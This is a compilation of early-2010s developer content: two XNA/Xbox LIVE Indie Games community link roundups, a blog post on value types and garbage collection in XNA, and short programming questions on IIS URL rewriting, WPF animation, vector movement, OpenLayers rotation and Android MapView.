    Every week I keep wondering if there’s going to be enough activity in the community to keep doing these notes on a weekly basis and every week I’m reminded of just how awesome and active the XNA community is. There’s engines being made, tutorials being created, games being crafted. There’s information being shared, questions being answered and then there’s another whole community around the Xbox LIVE Indie Games themselves. It’s really incredibly to just watch all that’s going on and I’m glad I’m playing a small part in all of this. So here’s what I noticed happening in the XNA community last week. If there’s things I’m missing, always feel free to let me know. I love learning about new corners of the XNA community that I wasn’t aware of or just have been missing! XNA Developers: Uditha Bandara held an XNA Game Development Workshops at Singapore Universities http://uditha.wordpress.com/2011/02/18/xna-game-development-workshops-at-singapore-universities-event-update/ Binary Tweed gives his talks about Indie City and gives his opinion on the false promise of digital distribution http://www.develop-online.net/news/37053/OPINION-The-false-promise-of-digital-distribution Kris Steele posts his Trivia or Die postmortem http://www.krissteele.net/blogdetails.aspx?id=246 @MadNinjaSkills (James Johnston) posts his feelings on testing for XBLIG http://www.ezmuze.co.uk/101 Simon (@DDReaper) posts hints and tips for XNA developers to help get the size of their projects down http://twitter.com/#!/DDReaper/status/38279440924545024 http://xna-uk.net/blogs/darkgenesis/archive/2011/02/17/look-at-the-size-of-that-thing.aspx Michael B. McLaughlin proving why he should be an XNA MVP posts the list of commonly used value types in XNA games http://geekswithblogs.net/mikebmcl/archive/2011/02/17/list-of-commonly-used-value-types-in-xna-games.aspx http://twitter.com/#!/mikebmcl/status/38166541354811392 Paul Powell (@ITSligoPaul) posts about a common sprite batch as a game service http://itspaulsblog.blogspot.com/2011/02/xna-common-sprite-batch-as-game-service.html @SigilXNA (John Defenbaugh) posts his new level editor video for the sequel to Opac’s Journey http://twitter.com/SigilXNA/statuses/36548174373982209 http://twitter.com/#!/SigilXNA/status/36548174373982209 http://youtu.be/QHbmxB_2AW8 @jwatte updates kW Animation for XNA 4.0 http://www.enchantedage.com/xna-animation @DSebJ posts Blender to SunBurn http://twitter.com/#!/DSebJ/status/36564920224976896 http://dsebj.evolvingsoftware.com/?p=187 Ads and WP7 Games - @mechaghost shares his revenue data for his ad based games http://www.occasionalgamer.com/2011/02/09/ads-and-wp7-games/ Xbox LIVE Indie Games (XBLIG): Steven Hurdle posts day 100 of his quest to find a fantastic XBLIG purchase every day http://writingsofmassdeduction.com/2011/02/17/day-100-radiangames-ballistic/ Xbox 360 Indie Game Buying Guide - 12 games for $60 including several Xbox LIVE Indie games! (although if the XNA community was asked we could have recommended 60 games for $60...) http://www.indiegamemag.com/xbox360-indie-games-buying-guide/ The best selling Xbox LIVE Indie games of 2010 http://www.1up.com/news/xbox-live-most-popular-games I’d buy that for a dollar! - the California Literary Review points out a few gems on the XBLIG marketplace (and other places) where you can game on the cheap. http://calitreview.com/14125 Armless Octopus Episode 39 - The Indie Gem Octocast http://www.armlessoctopus.com/2011/02/17/armless-octocast-episode-39-the-indie-gem-octocast/ Ska Studios posts a plethora of updates http://www.ska-studios.com/2011/02/11/good-morning-gato-49/ http://www.ska-studios.com/2011/02/14/vampire-smile-valentines/ http://www.ska-studios.com/2011/02/16/the-dishwasher-vs-finds-a-home/ Kotaku posts about the Xbox LIVE Indie Game that makes you go Pew Pew Pew Pew Pew Pew http://kotaku.com/#!5760632/the-game-that-makes-you-go-pew-pew-pew-pew-pew-pew-pew GameMarx continues to be active and doing a ton for the XBLIG community reviews and Top 5 indie games of the week 2/4-2/10 http://www.gamemarx.com/video/the-show/22/ep-9-february-11-2010.aspx a new podcast Xbox Indie New Releases http://twitter.com/#!/gamemarx/status/36888849107910656 http://www.gamemarx.com/news/2011/02/13/a-new-podcast-xbox-indie-new-releases.aspx @MasterBlud uploads Indocalypse XBLIG Collections #2 http://www.youtube.com/watch?v=uzCZSv075mc&feature=youtu.be&a http://twitter.com/#!/MasterBlud/status/37100029697064960 Just Press Start interviews Michael Hicks from MichaelArts, 18 year old creator of Honor in Vengeance http://justpressstart.net/?p=465 Achievement Locked interviews Kris Steele of FunInfused Games http://xboxindies.wordpress.com/2011/02/11/interview-fun-infused-games/ XNA Game Development: XNA -UK launches their XAP test service to help the XNA community http://xna-uk.net/blogs/news/archive/2011/02/18/xna-uk-xap-test-service-now-live.aspx Transmute shows off a video of the standard character editor http://www.youtube.com/watch?v=qqH6gErG948&feature=youtu.be Microsoft Tech Student introduces their first tech student of the month.  Meet Daniel Van Tassel from the University of Utah and learn how he created an Xbox LIVE Indie Game using XNA Studio http://blogs.msdn.com/b/techstudent/archive/2010/12/22/introducing-our-first-tech-student-of-the-month-daniel-van-tassel.aspx XNA for Silverlight Developers Part 3 - Animation (transforms) http://www.silverlightshow.net/items/XNA-for-Silverlight-developers-Part-3-Animation-transforms.aspx XNA for Silverlight Developers Part 4 - Animation (frame based) http://www.silverlightshow.net/items/XNA-for-Silverlight-developers-Part-4-Animation-frame-based.aspx @suhinini tweets about an XNA Sprite Font generation tool http://twitter.com/#!/suhinini/status/36841370131890176 http://www.nubik.com/SpriteFont/ XNATouch 1.5 is out and in it’s words is faster, simpler, more reliable and has the XNA 4.0 API http://monogame.codeplex.com/releases/view/60815 IndieCity is hosting marketing workshops for Indie Developers (UK and US) http://forums.create.msdn.com/forums/p/75197/457654.aspx#457654 New York Students - Learn XNA and Silverlight for Xbox 360 and Windows Phone 7 http://forums.create.msdn.com/forums/p/72753/456964.aspx#456964 http://blogs.msdn.com/b/andrewparsons/archive/2011/01/13/learn-to-build-your-own-games-for-xbox-360-and-windows-phone-7.aspx http://blogs.msdn.com/b/andrewparsons/archive/2011/01/13/build-a-game-in-48-hours-win-a-kinect-or-windows-phone-7.aspx Extra Credits: Videogame Music http://www.escapistmagazine.com/videos/view/extra-credits/2019-Videogame-Music Steve Pavlina posts an article with useful information for all XNA/XBLIG developers http://www.stevepavlina.com/blog/2011/02/completion-vs-perfection/

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  • List of Commonly Used Value Types in XNA Games

    - by Michael B. McLaughlin
    Most XNA programmers are concerned about generating garbage. More specifically about allocating GC-managed memory (GC stands for “garbage collector” and is both the name of the class that provides access to the garbage collector and an acronym for the garbage collector (as a concept) itself). Two of the major target platforms for XNA (Windows Phone 7 and Xbox 360) use variants of the .NET Compact Framework. On both variants, the GC runs under various circumstances (Windows Phone 7 and Xbox 360). Of concern to XNA programmers is the fact that it runs automatically after a fixed amount of GC-managed memory has been allocated (currently 1MB on both systems). Many beginning XNA programmers are unaware of what constitutes GC-managed memory, though. So here’s a quick overview. In .NET, there are two different “types” of types: value types and reference types. Only reference types are managed by the garbage collector. Value types are not managed by the garbage collector and are instead managed in other ways that are implementation dependent. For purposes of XNA programming, the important point is that they are not managed by the GC and thus do not, by themselves, increment that internal 1 MB allocation counter. (n.b. Structs are value types. If you have a struct that has a reference type as a member, then that reference type, when instantiated, will still be allocated in the GC-managed memory and will thus count against the 1 MB allocation counter. Putting it in a struct doesn’t change the fact that it gets allocated on the GC heap, but the struct itself is created outside of the GC’s purview). Both value types and reference types use the keyword ‘new’ to allocate a new instance of them. Sometimes this keyword is hidden by a method which creates new instances for you, e.g. XmlReader.Create. But the important thing to determine is whether or not you are dealing with a value types or a reference type. If it’s a value type, you can use the ‘new’ keyword to allocate new instances of that type without incrementing the GC allocation counter (except as above where it’s a struct with a reference type in it that is allocated by the constructor, but there are no .NET Framework or XNA Framework value types that do this so it would have to be a struct you created or that was in some third-party library you were using for that to even become an issue). The following is a list of most all of value types you are likely to use in a generic XNA game: AudioCategory (used with XACT; not available on WP7) AvatarExpression (Xbox 360 only, but exposed on Windows to ease Xbox development) bool BoundingBox BoundingSphere byte char Color DateTime decimal double any enum (System.Enum itself is a class, but all enums are value types such that there are no GC allocations for enums) float GamePadButtons GamePadCapabilities GamePadDPad GamePadState GamePadThumbSticks GamePadTriggers GestureSample int IntPtr (rarely but occasionally used in XNA) KeyboardState long Matrix MouseState nullable structs (anytime you see, e.g. int? something, that ‘?’ denotes a nullable struct, also called a nullable type) Plane Point Quaternion Ray Rectangle RenderTargetBinding sbyte (though I’ve never seen it used since most people would just use a short) short TimeSpan TouchCollection TouchLocation TouchPanelCapabilities uint ulong ushort Vector2 Vector3 Vector4 VertexBufferBinding VertexElement VertexPositionColor VertexPositionColorTexture VertexPositionNormalTexture VertexPositionTexture Viewport So there you have it. That’s not quite a complete list, mind you. For example: There are various structs in the .NET framework you might make use of. I left out everything from the Microsoft.Xna.Framework.Graphics.PackedVector namespace, since everything in there ventures into the realm of advanced XNA programming anyway (n.b. every single instantiable thing in that namespace is a struct and thus a value type; there are also two interfaces but interfaces cannot be instantiated at all and thus don’t figure in to this discussion). There are so many enums you’re likely to use (PlayerIndex, SpriteSortMode, SpriteEffects, SurfaceFormat, etc.) that including them would’ve flooded the list and reduced its utility. So I went with “any enum” and trust that you can figure out what the enums are (and it’s rare to use ‘new’ with an enum anyway). That list also doesn’t include any of the pre-defined static instances of some of the classes (e.g. BlendState.AlphaBlend, BlendState.Opaque, etc.) which are already allocated such that using them doesn’t cause any new allocations and therefore doesn’t increase that 1 MB counter. That list also has a few misleading things. VertexElement, VertexPositionColor, and all the other vertex types are structs. But you’re only likely to ever use them as an array (for use with VertexBuffer or DynamicVertexBuffer), and all arrays are reference types (even arrays of value types such as VertexPositionColor[ ] or int[ ]). * So that’s it for now. The note below may be a bit confusing (it deals with how the GC works and how arrays are managed in .NET). If so, you can probably safely ignore it for now but feel free to ask any questions regardless. * Arrays of value types (where the value type doesn’t contain any reference type members) are much faster for the GC to examine than arrays of reference types, so there is a definite benefit to using arrays of value types where it makes sense. But creating arrays of value types does cause the GC’s allocation counter to increase. Indeed, allocating a large array of a value type is one of the quickest ways to increment the allocation counter since a .NET array is a sequential block of memory. An array of reference types is just a sequential block of references (typically 4 bytes each) while an array of value types is a sequential block of instances of that type. So for an array of Vector3s it would be 12 bytes each since each float is 4 bytes and there are 3 in a Vector3; for an array of VertexPositionNormalTexture structs it would typically be 32 bytes each since it has two Vector3s and a Vector2. (Note that there are a few additional bytes taken up in the creation of an array, typically 12 but sometimes 16 or possibly even more, which depend on the implementation details of the array type on the particular platform the code is running on).

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  • XNA Notes 002

    - by George Clingerman
    This past week (much like every week in the XNA community) was filled with things happening and people doing cool things (and getting noticed for doing cool things!). You can definitely tell there are some Xbox LIVE Indie game developers starting to make some names for themselves. Can’t wait to name drop them at bars. Me- “Oh you played Game X? Yeah, I know the guy that made that. Pretty cool guy.” Yeah, I’ll be THAT guy.   Time Critical XNA News 30 days left to submit XBLIGs made in XNA Game Studio 3.1 http://blogs.msdn.com/b/xna/archive/2011/01/08/30-days-left-to-submit-xna-gs-3-1-games-to-app-hub.aspx Jeromy Walsh wants you to know his XNA 4.0 Winter Workshop starting soon, go get signed up! And the forum is now LIVE on GameDev.net http://gamedevelopedia.com/ http://tinyurl.com/4gg2cfv The XNA Team Per Nick Gravelyn, Aaron Stebner’s blog post is a must read for icons on Windows Phone http://forums.create.msdn.com/forums/p/72022/439597.aspx#439597 http://blogs.msdn.com/b/astebner/archive/2010/10/01/10070507.aspx Shawn Hargreaves writes about Sprite Billboards in a 3D world http://blogs.msdn.com/b/shawnhar/archive/2011/01/12/spritebatch-billboards-in-a-3d-world.aspx XNA MVPs Andy “The ZMan” Dunn wants YOU to come to the MVP Summit and run a 5K http://www.indiegameguy.com/blogs/zman/archive/2010/12/26/come-to-the-mvp-summit-and-run-a-5k-yes-you.aspx Jim Perry updates his forum signature just to make it clear that he’s not speaking for Microsoft or giving official information (LOL, thanks Jim, now if only people will take the time to read that...) XNA MVP | Please use the Forum Search and read the Forum FAQs | My posts are not official info http://forums.create.msdn.com/forums/p/70849/439613.aspx#439613 XNA Developers Robert Boyd (@werezombie) working hard at converting his RPG engine used to make Breath of Death VII and Chtulu Saves the World to XNA 4.0. If you haven’t done the upgrade yet yourself, might be useful to read back through his tweets and recent forum posts to see the problems/solutions he’s encountered. http://forums.create.msdn.com/forums/p/71834/438099.aspx#438099 http://www.twitter.com/werezompire SpynDoctorGames is in the final phase before the release of Your Doodles are Bugged for the PC! Going to be interesting to watch as more XNA game developers explore the PC game market for their games. http://twitter.com/SpynDoctorGames/statuses/24503173217521664 http://www.spyn-doctor.de @DrMistry shares some details of his next title YoYoYo http://www.mstargames.co.uk/mistryblogmain/35-genblog/177-a-new-year-a-new-game-and-maybe-a-new-approach.html Travis Woodward (@RabidLionGames) has a blog post coming this weekend on Farseer and Mario-like platformer movement. http://twitter.com/RabidLionGames/statuses/24992762021548032 http://www.rabidlion.com/ S4G Interview with Radiangames http://n4g.com/news/679492/s4g-interview-with-radiangames XBLAratings.com interviews Steve Flores (@DragonDivide) developer of Alpha Squad http://www.xblaratings.com/developer-qaa/3621-alpha-squad-developer-interview XBox LIVE Indie Games If you haven’t been reading the roundups on IndieGames by NaviFairy on GayGamer, you’ve been missing out! http://gaygamer.net/2011/01/xbox_indie_review_roundup_1112.html Armless Octopus posts the Top 20 Games of 2010 Part 1 http://www.armlessoctopus.com/2011/01/10/top-20-xbox-live-indie-games-of-2010-part-1/ Armless Octopus posts the Top 20 Games of 2010 Part 2 http://www.armlessoctopus.com/2011/01/12/top-20-xbox-live-indie-games-of-2010-%E2%80%93-part-2/ Xbox LIVE Indie Game Reviews http://www.gamemarx.com/ Don’t forget to be following @XboxHornet . That’s a great way to snag free copies of Xbox LIVE Indie Games http://twitter.com/XboxHornet/statuses/24471103808208896 http://www.xboxhornet.com/wordpress/ Xbox LIVE Indie Game Review posts the top 20 Xbox 360 LIVE Indie Games of 2010 http://www.xbox-360-community-games-reviews.com/top-20-best-xbox-360-live-indie-games-of-2010/ VVGtv to Stream #XBLIG Again! Help out if you can. http://vvgtv.com/2011/01/07/vvgtv-to-stream-xblig-again/ Indie Gamer Magazine Issue 14 has a look at the Xbox LIVE Winter Indie Game Uprisiing http://www.indiegamemag.com/issue14/ XNA Game Development Andrew Russell announced and asked for help in his development of ExEn: XNA for iPhone, Android and Silverlight http://rockethub.com/projects/752-exen-xna-for-iphone-android-and-silverlight App Hub forums letting you down? Don’t forget about StackOverflow and the game development specific version gamedev.stackexchange http://stackoverflow.com/questions/tagged/xna http://gamedev.stackexchange.com/questions/tagged/xna Transmute gets an update from Aaron Foley (@slyprid) and you can now add and visually edit parallax layers to your 2D tile game. http://twitpic.com/3nudj0 http://twitter.com/slyprid/statuses/23418379574448128 http://forgottenstarstudios.com/Transmute/default.html Webcomics Weekly #75 touches on some feelings I’ve seen people try to express (myself included) when talking about game development and what types of games should be released for XBLIG http://www.pvponline.com/2011/01/05/webcomics-weekly-75-sour-oats/ Setting up a new PC for XNA development? Here’s a site that helps you quickly build a installer for all the most common applications developers use. http://ninite.com/ Fun wew thread on the XNA forums asking XBLIG/XNA developers just what their Top 10 favorite video games of all time are. http://forums.create.msdn.com/forums/107.aspx Christopher Hill (@Xalterax) stumbled across an entire community that does nothing but create box art. This is a great potential resource for Xbox LIVE Indie Game developers to get some awesome box art for their games. http://forums.create.msdn.com/forums/p/46582/441451.aspx#441451 http://www.vgboxart.com/browse/plat/360/ Don’t forget about the XNA Wiki, fantastic community resource (and roll up those sleeves and contribute already!) http://xnawiki.com/index.php?title=Main_Page

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  • Why would the IIS UrlRewrite module continue redirecting requests after the rule is removed?

    - by Jon Norton
    Our application uses the IIS UrlRewrite module to temporarily redirect requests during upgrades to a maintenance site. We have seen a few instances where even though the redirect rule has been removed, the server continues to redirect all requests according to the removed rule. There does not seem to be any pattern with this, and has only occurred once or twice. We have taken the following steps to try and determine the cause of this behavior. Verified that the original rule was a 307 temporary redirect Requested the application from machines that had never requested it before Used a different browser Added and removed a dummy rule from the IIS management console Checked the http kernel cache using netsh http show cachestate Modified the applicationHost.config file by hand (the rule was not still in the file, we just added a superfluous space) In the past when this has happened, we have been able to restart IIS and it solves the problem but that is not always an option and we really want to figure out what the root cause is. How or why would UrlRewrite be caching the response and not responding to configuration changes?

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  • EventTrigger RoutedEvent in wpf xaml

    - by Cinaird
    I have a problem in wpf xaml and i'm pretty new on this so it may be something basic i want to rotate a ellipse 360 degree <Ellipse Name="test" Fill="Black" StrokeThickness="5" Margin="0,0,0,0" Height="66"> <Ellipse.Triggers> <EventTrigger RoutedEvent="Ellipse.Loaded" SourceName="test"> <BeginStoryboard> <Storyboard> <DoubleAnimation Storyboard.TargetName="test" Storyboard.TargetProperty="(Ellipse.RenderTransform).(RotateTransform.Angle)" From="0" To="360" Duration="0:0:0.5" RepeatBehavior="1x" /> </Storyboard> </BeginStoryboard> </EventTrigger> </Ellipse.Triggers> </Ellipse> But nothing happens, what is wrong?

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  • Moving a point along a vector

    - by Chris
    Hello- I have a point defined by x,y and a vector defined by heading, speed. I am attempting to move the point x,y along this vector, at a distance of 'speed'. Below is the code I am currently using: self.x += self.speed * cos(self.heading); self.y += self.speed * sin(self.heading); Heading can be any angle in a full circle - 0 to 2p (0-360 degrees). The problem is the above code: Only moves along the x or y axis when angle is 0-270 for example, when the avatar is facing the top-right corner (45 degrees relative), it moves straight up. Does not move at all when angle is 270-360 heading, speed, X and Y are all doubles, and heading is reported by the user touching a direction-pad in the lower corner. I know the heading is correct because the avatar rotates to the correct direction, it is just the actual movement I am having problems with. Thanks for any help - Chris

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  • Rotate a feature programatically Open Layers

    - by Ozaki
    TLDR I want to rotate a Feature in my open layers. I want it to face a certain heading that I am receiving from server. I know that you can make a feature spin on a point or so on: window.setInterval(function() {rotateFeature( pointFeature, 360 / 20, origin)}, 100); as from the open layers example. But I want to be able to face it towards a heading I am given, so. Can I face a feature towards a heading? Can I face a feature(image) in the same way? If not is it possible to automatically calculate the rotation required and position it that way? Or any ideas on how I could do this with the image? (hoping not to have 360 images) Thanks in advance.

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  • Mapview getLatitudeSpan and getLongitudeSpan not working

    - by janfsd
    Hi! Sometimes when trying to get the Latitude span or Longitude span of a mapview with getLatitudeSpan() and getLongitudeSpan() I get 0 and 360*1E6 respectively. This doesn't happen always but it is a problem, has anybody got this problem? Any workarounds? I tried using getProjection() too but I get the same problem. Here is the piece of code: MapView mapView = (MapView) findViewById(R.id.mapview); int lat = mapView.getLatitudeSpan(); // sometimes returns 0 int long = mapView.getLongitudeSpan(); // sometimes returns 360*1E6

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